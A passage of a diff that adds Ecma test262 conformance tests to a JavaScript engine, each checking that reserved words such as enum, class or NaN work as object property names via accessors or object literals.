+ set in(value){
+ test0 = value;
+ },
+ get in(){
+ return test0;
+ },
+ set try(value){
+ test1 = value;
+ },
+ get try(){
+ return test1
+ },
+ set class(value){
+ test2 = value;
+ },
+ get class(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'in',
+ 'try',
+ 'class'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-11.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-11.js
new file mode 100644
index 000000000..081d81170
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-11.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-11.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: enum, extends, super
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set enum(value){
+ test0 = value;
+ },
+ get enum(){
+ return test0;
+ },
+ set extends(value){
+ test1 = value;
+ },
+ get extends(){
+ return test1;
+ },
+ set super(value){
+ test2 = value;
+ },
+ get super(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'enum',
+ 'extends',
+ 'super'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-12.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-12.js
new file mode 100644
index 000000000..3c16683f7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-12.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-12.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: const, export, import
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set const(value){
+ test0 = value;
+ },
+ get const(){
+ return test0;
+ },
+ set export(value){
+ test1 = value;
+ },
+ get export(){
+ return test1
+ },
+ set import(value){
+ test2 = value;
+ },
+ get import(){
+ return test2
+ }
+ };
+ var arr = [
+ 'const',
+ 'export',
+ 'import'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-13.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-13.js
new file mode 100644
index 000000000..47dd6e266
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-13.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-13.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: implements, let, private
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set implements(value){
+ test0 = value;
+ },
+ get implements(){
+ return test0;
+ },
+ set let(value){
+ test1 = value;
+ },
+ get let(){
+ return test1
+ },
+ set private(value){
+ test2 = value;
+ },
+ get private(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'implements',
+ 'let',
+ 'private'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-14.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-14.js
new file mode 100644
index 000000000..0d1e1aa4f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-14.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-14.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: public, yield, interface
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set public(value){
+ test0 = value;
+ },
+ get public(){
+ return test0;
+ },
+ set yield(value){
+ test1 = value;
+ },
+ get yield(){
+ return test1;
+ },
+ set interface(value){
+ test2 = value;
+ },
+ get interface(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'public',
+ 'yield',
+ 'interface'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-15.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-15.js
new file mode 100644
index 000000000..111f00706
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-15.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-15.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: package, protected, static
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set package(value){
+ test0 = value;
+ },
+ get package(){
+ return test0;
+ },
+ set protected(value){
+ test1 = value;
+ },
+ get protected(){
+ return test1
+ },
+ set static(value){
+ test2 = value;
+ },
+ get static(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'package',
+ 'protected',
+ 'static'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-16.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-16.js
new file mode 100644
index 000000000..0edafa8e3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-16.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-16.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: undefined, NaN, Infinity
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set undefined(value){
+ test0 = value;
+ },
+ get undefined(){
+ return test0;
+ },
+ set NaN(value){
+ test1 = value;
+ },
+ get NaN(){
+ return test1;
+ },
+ set Infinity(value){
+ test2 = value;
+ },
+ get Infinity(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'undefined',
+ 'NaN',
+ 'Infinity'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-2.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-2.js
new file mode 100644
index 000000000..8569c9cea
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-2.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-2.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: break, case, do
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set break(value){
+ test0 = value;
+ },
+ get break(){
+ return test0;
+ },
+ set case(value){
+ test1 = value;
+ },
+ get case(){
+ return test1;
+ },
+ set do(value){
+ test2 = value;
+ },
+ get do(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'break',
+ 'case',
+ 'do'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-3.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-3.js
new file mode 100644
index 000000000..3ef8ea7aa
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-3.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-3.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: instanceof, typeof, else
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set instanceof(value){
+ test0 = value;
+ },
+ get instanceof(){
+ return test0;
+ },
+ set typeof(value){
+ test1 = value;
+ },
+ get typeof(){
+ return test1;
+ },
+ set else(value){
+ test2 = value;
+ },
+ get else(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'instanceof',
+ 'typeof',
+ 'else'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-4.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-4.js
new file mode 100644
index 000000000..afb165ed1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-4.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-4.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: new, var, catch
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set new(value){
+ test0 = value;
+ },
+ get new(){
+ return test0;
+ },
+ set var(value){
+ test1 = value;
+ },
+ get var(){
+ return test1;
+ },
+ set catch(value){
+ test2 = value;
+ },
+ get catch(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'new',
+ 'var',
+ 'catch'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-5.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-5.js
new file mode 100644
index 000000000..e4c6badae
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-5.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-5.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: finally, return, void
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set finally(value){
+ test0 = value;
+ },
+ get finally(){
+ return test0;
+ },
+ set return(value){
+ test1 = value;
+ },
+ get return(){
+ return test1;
+ },
+ set void(value){
+ test2 = value;
+ },
+ get void(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'finally',
+ 'return',
+ 'void'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-6.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-6.js
new file mode 100644
index 000000000..f240ded36
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-6.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-6.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: continue, for, switch
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set continue(value){
+ test0 = value;
+ },
+ get continue(){
+ return test0;
+ },
+ set for(value){
+ test1 = value;
+ },
+ get for(){
+ return test1;
+ },
+ set switch(value){
+ test2 = value;
+ },
+ get switch(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'continue',
+ 'for',
+ 'switch'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-7.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-7.js
new file mode 100644
index 000000000..6134976c8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-7.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-7.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: while, debugger, function
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set while(value){
+ test0 = value;
+ },
+ get while(){
+ return test0
+ },
+ set debugger(value){
+ test1 = value;
+ },
+ get debugger(){
+ return test1;
+ },
+ set function(value){
+ test2 = value;
+ },
+ get function(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'while' ,
+ 'debugger',
+ 'function'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-8.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-8.js
new file mode 100644
index 000000000..a027cf608
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-8.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-8.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: this, with, default
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set this(value){
+ test0 = value;
+ },
+ get this(){
+ return test0;
+ },
+ set with(value){
+ test1 = value;
+ },
+ get with(){
+ return test1;
+ },
+ set default(value){
+ test2 = value;
+ },
+ get default(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'this',
+ 'with',
+ 'default'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-9.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-9.js
new file mode 100644
index 000000000..1828b0d9a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-9.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-9.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: if, throw, delete
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set if(value){
+ test0 = value;
+ },
+ get if(){
+ return test0;
+ },
+ set throw(value){
+ test1 = value;
+ },
+ get throw(){
+ return test1
+ },
+ set delete(value){
+ test2 = value;
+ },
+ get delete(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'if',
+ 'throw',
+ 'delete'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-1.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-1.js
new file mode 100644
index 000000000..88eb2869f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-1.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-1.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: null, true, false
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ null: 0,
+ true: 1,
+ false: 2
+ };
+ var arr = [
+ 'null',
+ 'true',
+ 'false'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-10.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-10.js
new file mode 100644
index 000000000..a00ce7096
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-10.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-10.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: in, try, class
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ in: 0,
+ try: 1,
+ class: 2
+ };
+ var arr = [
+ 'in',
+ 'try',
+ 'class'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-11.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-11.js
new file mode 100644
index 000000000..7a3a3af0c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-11.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-11.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: enum, extends, super
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ enum: 0,
+ extends: 1,
+ super: 2
+ };
+ var arr = [
+ 'enum',
+ 'extends',
+ 'super'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-12.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-12.js
new file mode 100644
index 000000000..b2b7645f5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-12.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-12.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: const, export, import
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ const : 0,
+ export: 1,
+ import: 2
+ };
+ var arr = [
+ 'const',
+ 'export',
+ 'import'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-13.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-13.js
new file mode 100644
index 000000000..a7b03b95c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-13.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-13.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: implements, let, private
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ implements: 0,
+ let: 1,
+ private: 2
+ };
+ var arr = [
+ 'implements',
+ 'let',
+ 'private'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-14.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-14.js
new file mode 100644
index 000000000..f24467c8f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-14.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-14.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: public, yield, interface
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ public: 0,
+ yield: 1,
+ interface: 2
+ };
+ var arr = [
+ 'public',
+ 'yield',
+ 'interface'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-15.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-15.js
new file mode 100644
index 000000000..498e5e7d5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-15.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-15.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: package, protected, static
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ package: 0,
+ protected: 1,
+ static: 2
+ };
+ var arr = [
+ 'package',
+ 'protected',
+ 'static'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-16.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-16.js
new file mode 100644
index 000000000..8bf471549
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-16.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-16.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: undefined, NaN, Infinity
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ undefined: 0,
+ NaN: 1,
+ Infinity: 2
+ };
+ var arr = [
+ 'undefined',
+ 'NaN',
+ 'Infinity'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-2.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-2.js
new file mode 100644
index 000000000..79ccb65b9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-2.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
